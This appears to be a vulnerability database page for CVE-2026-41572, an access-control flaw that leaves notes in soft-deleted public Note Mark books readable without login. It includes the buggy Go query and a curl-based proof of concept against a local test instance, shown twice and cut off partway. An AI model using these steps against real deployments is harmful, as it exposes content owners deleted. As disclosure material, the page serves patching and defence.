Every CVE Search/ Get API key

CVE-2026-41572

Note Mark: Unauthenticated read of notes and assets in soft-deleted public books

5.3 MediumFix available

Note Mark is an open-source note-taking application. Prior to version 0.19.3, after a note-mark owner soft-deletes a public book, its notes and uploaded assets stay readable at /api/notes/{id}, /api/notes/{id}/content, the slug URL, and the asset endpoints. Unauthenticated callers who hold the note ID or the slug path retain access. GORM's soft-delete scope does not reach the raw "JOIN books ..." clauses used by the note and asset queries. This issue has been patched in version 0.19.3.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
Low
Integrity
None
Availability
None

Exploit likelihood

0.24%Up 0.2 points since May 5, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.3

Note Mark: Unauthenticated read of notes and assets in soft-deleted public books

Note Mark is an open-source note-taking application. Prior to version 0.19.3, after a note-mark owner soft-deletes a public book, its notes and uploaded assets stay readable at /api/notes/{id}, /api/notes/{id}/content, the slug URL, and the asset endpoints. Unauthenticated callers who hold the note ID or the slug path retain access. GORM's soft-delete scope does not reach the raw "JOIN books ..." clauses used by the note and asset queries. This issue has been patched in version 0.19.3.

Record
CVE-2026-41572
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-285
Updated
2026-11-02
EUVDEUVD-2026-27053 5.3

Note Mark is an open-source note-taking application. Prior to version 0.19.3, after a note-mark owner soft-deletes a public book, its notes and uploaded assets stay readable at /api/notes/{id}, /api/notes/{id}/content, the slug URL, and the asset endpoints. Unauthenticated callers who hold the note ID or the slug path retain access. GORM's soft-delete scope does not reach the raw "JOIN books ..." clauses used by the note and asset queries. This issue has been patched in version 0.19.3.

Record
EUVD-2026-27053
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-3gr9-485j-v4xf 5.3

Note Mark: Unauthenticated read of notes and assets in soft-deleted public books

Summary

After a note-mark owner soft-deletes a public book, its notes and uploaded assets stay readable at /api/notes/{id}, /api/notes/{id}/content, the slug URL, and the asset endpoints. Unauthenticated callers who hold the note ID or the slug path retain access. GORM's soft-delete scope does not reach the raw JOIN books ... clauses used by the note and asset queries.

Details

DELETE /api/books/{bookID} sets books.deleted_at to the current time. The book-level endpoint starts returning 404, which matches the owner's expectation that the book is gone. The note service and asset service query notes with a raw join that does not filter books.deleted_at IS NULL:

// backend/services/notes.go:91-98 (GetNoteByID)
func (s NotesService) GetNoteByID(currentUserID *uuid.UUID, noteID uuid.UUID) (db.Note, error) {
    var note db.Note
    return note, dbErrorToServiceError(db.DB.
        Preload("Book").
        Joins("JOIN books ON books.id = notes.book_id").
        Where("owner_id = ? OR is_public = ?", currentUserID, true).
        First(&note, "notes.id = ?", noteID).Error)
}

GORM applies its soft-delete scope to the primary model of a query (here, notes) and to implicit Joins("Book") association clauses. It does not rewrite raw SQL passed to Joins. The soft-deleted book row keeps is_public = true, so the WHERE owner_id = ? OR is_public = ? clause still evaluates true for any caller on a book that was public at deletion time. For an unauthenticated caller (currentUserID = nil), owner_id = NULL fails but is_public = true passes, so the note query returns the row.

note-mark has a restore flow at PUT /api/notes/{noteID}/restore (backend/services/notes.go:232-262) that un-deletes the note and the parent book in one transaction. Owner access to soft-deleted notes is deliberate for that path; the comment at line 253 spells out the intent. The bug is that is_public = true survives the deletion, so unauthenticated callers keep access the owner chose to revoke.

The same raw-join pattern repeats at 9 more call sites in backend/services/notes.go (lines 79, 95, 107, 129, 143, 174, 206, 237, 276) and 4 call sites in backend/services/assets.go (lines 29, 73, 106, 143). Every public endpoint that reads a note or an asset inherits the bug.

Proof of Concept

Tested against note-mark v0.19.2.

Step 1: Start note-mark.

docker run -d --name note-mark-poc -p 8088:8080 \
  ghcr.io/enchant97/note-mark-backend:0.19.2

Step 2: Alice signs up and logs in.

curl -X POST http://localhost:8088/api/users \
  -H 'Content-Type: application/json' \
  -d '{"username":"alice","password":"Alicepass123!","name":"Alice"}'

curl -c alice.cookies -X POST http://localhost:8088/api/auth/token \
  -H 'Content-Type: application/json' \
  -d '{"grant_type":"password","username":"alice","password":"Alicepass123!"}'

Step 3: Alice creates a public book and adds a note with content. Save the IDs from each response.

curl -b alice.cookies -X POST http://localhost:8088/api/books \
  -H 'Content-Type: application/json' \
  -d '{"name":"Alice Public Book","slug":"public-book","isPublic":true}'
# {"id":"<BOOK_ID>", ...}

curl -b alice.cookies -X POST http://localhost:8088/api/books/<BOOK_ID>/notes \
  -H 'Content-Type: application/json' \
  -d '{"name":"Secret Note","slug":"secret-note"}'
# {"id":"<NOTE_ID>", ...}

curl -b alice.cookies -X PUT http://localhost:8088/api/notes/<NOTE_ID>/content \
  -H 'Content-Type: text/plain' \
  --data 'This is Alice secret note content.'

Step 4: Bob (no cookie) reads the note while the book is still live. This is expected for a public book.

curl http://localhost:8088/api/notes/<NOTE_ID>/content
# This is Alice secret note content.

Step 5: Alice soft-deletes the book.

curl -b alice.cookies -X DELETE http://localhost:8088/api/books/<BOOK_ID>
# HTTP/1.1 204 No Content

Step 6: The book endpoint 404s. The note endpoints…

Record
GHSA-3gr9-485j-v4xf
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-285
Updated
2026-11-02
NVD 5.3

Note Mark is an open-source note-taking application. Prior to version 0.19.3, after a note-mark owner soft-deletes a public book, its notes and uploaded assets stay readable at /api/notes/{id}, /api/notes/{id}/content, the slug URL, and the asset endpoints. Unauthenticated callers who hold the note ID or the slug path retain access. GORM's soft-delete scope does not reach the raw "JOIN books ..." clauses used by the note and asset queries. This issue has been patched in version 0.19.3.

Record
CVE-2026-41572
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-285
Updated
2026-11-02
OSV 5.3

Note Mark: Unauthenticated read of notes and assets in soft-deleted public books

Note Mark is an open-source note-taking application. Prior to version 0.19.3, after a note-mark owner soft-deletes a public book, its notes and uploaded assets stay readable at /api/notes/{id}, /api/notes/{id}/content, the slug URL, and the asset endpoints. Unauthenticated callers who hold the note ID or the slug path retain access. GORM's soft-delete scope does not reach the raw "JOIN books ..." clauses used by the note and asset queries. This issue has been patched in version 0.19.3.

Record
CVE-2026-41572
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-285
Updated
2026-11-02
OSVGHSA-3gr9-485j-v4xf 5.3

Note Mark: Unauthenticated read of notes and assets in soft-deleted public books

Summary

After a note-mark owner soft-deletes a public book, its notes and uploaded assets stay readable at /api/notes/{id}, /api/notes/{id}/content, the slug URL, and the asset endpoints. Unauthenticated callers who hold the note ID or the slug path retain access. GORM's soft-delete scope does not reach the raw JOIN books ... clauses used by the note and asset queries.

Details

DELETE /api/books/{bookID} sets books.deleted_at to the current time. The book-level endpoint starts returning 404, which matches the owner's expectation that the book is gone. The note service and asset service query notes with a raw join that does not filter books.deleted_at IS NULL:

// backend/services/notes.go:91-98 (GetNoteByID)
func (s NotesService) GetNoteByID(currentUserID *uuid.UUID, noteID uuid.UUID) (db.Note, error) {
    var note db.Note
    return note, dbErrorToServiceError(db.DB.
        Preload("Book").
        Joins("JOIN books ON books.id = notes.book_id").
        Where("owner_id = ? OR is_public = ?", currentUserID, true).
        First(&note, "notes.id = ?", noteID).Error)
}

GORM applies its soft-delete scope to the primary model of a query (here, notes) and to implicit Joins("Book") association clauses. It does not rewrite raw SQL passed to Joins. The soft-deleted book row keeps is_public = true, so the WHERE owner_id = ? OR is_public = ? clause still evaluates true for any caller on a book that was public at deletion time. For an unauthenticated caller (currentUserID = nil), owner_id = NULL fails but is_public = true passes, so the note query returns the row.

note-mark has a restore flow at PUT /api/notes/{noteID}/restore (backend/services/notes.go:232-262) that un-deletes the note and the parent book in one transaction. Owner access to soft-deleted notes is deliberate for that path; the comment at line 253 spells out the intent. The bug is that is_public = true survives the deletion, so unauthenticated callers keep access the owner chose to revoke.

The same raw-join pattern repeats at 9 more call sites in backend/services/notes.go (lines 79, 95, 107, 129, 143, 174, 206, 237, 276) and 4 call sites in backend/services/assets.go (lines 29, 73, 106, 143). Every public endpoint that reads a note or an asset inherits the bug.

Proof of Concept

Tested against note-mark v0.19.2.

Step 1: Start note-mark.

docker run -d --name note-mark-poc -p 8088:8080 \
  ghcr.io/enchant97/note-mark-backend:0.19.2

Step 2: Alice signs up and logs in.

curl -X POST http://localhost:8088/api/users \
  -H 'Content-Type: application/json' \
  -d '{"username":"alice","password":"Alicepass123!","name":"Alice"}'

curl -c alice.cookies -X POST http://localhost:8088/api/auth/token \
  -H 'Content-Type: application/json' \
  -d '{"grant_type":"password","username":"alice","password":"Alicepass123!"}'

Step 3: Alice creates a public book and adds a note with content. Save the IDs from each response.

curl -b alice.cookies -X POST http://localhost:8088/api/books \
  -H 'Content-Type: application/json' \
  -d '{"name":"Alice Public Book","slug":"public-book","isPublic":true}'
# {"id":"<BOOK_ID>", ...}

curl -b alice.cookies -X POST http://localhost:8088/api/books/<BOOK_ID>/notes \
  -H 'Content-Type: application/json' \
  -d '{"name":"Secret Note","slug":"secret-note"}'
# {"id":"<NOTE_ID>", ...}

curl -b alice.cookies -X PUT http://localhost:8088/api/notes/<NOTE_ID>/content \
  -H 'Content-Type: text/plain' \
  --data 'This is Alice secret note content.'

Step 4: Bob (no cookie) reads the note while the book is still live. This is expected for a public book.

curl http://localhost:8088/api/notes/<NOTE_ID>/content
# This is Alice secret note content.

Step 5: Alice soft-deletes the book.

curl -b alice.cookies -X DELETE http://localhost:8088/api/books/<BOOK_ID>
# HTTP/1.1 204 No Content

Step 6: The book endpoint 404s. The note endpoints…

Record
GHSA-3gr9-485j-v4xf
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-285
Updated
2026-11-02
OSVGO-2026-5085 No score

Note Mark: Unauthenticated read of notes and assets in soft-deleted public books in github.com/enchant97/note-mark/backend

Note Mark: Unauthenticated read of notes and assets in soft-deleted public books in github.com/enchant97/note-mark/backend

Record
GO-2026-5085
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/enchant97/note-mark/backend
Go
 before 0.0.0-20260417132843-d1bf845a2a2d
0.0.0-20260417132843-d1bf845a2a2d
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 1734 CVEs
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-41572 is a medium vulnerability (CVSS 5.3) in Enchant97 Note-mark, published April 25, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.24%, the 15th percentile. Fixed in github.com/enchant97/note-mark/backend 0.0.0-20260417132843-d1bf845a2a2d.

References

Show 194 moreShow less
This page doesn't list everything

Left out here: 1,541 references and the rest of 3 source descriptions. The JSON record has them.

Pages All vulnerabilities Browse Docs Sources Guide Get API key
MoveEnter Open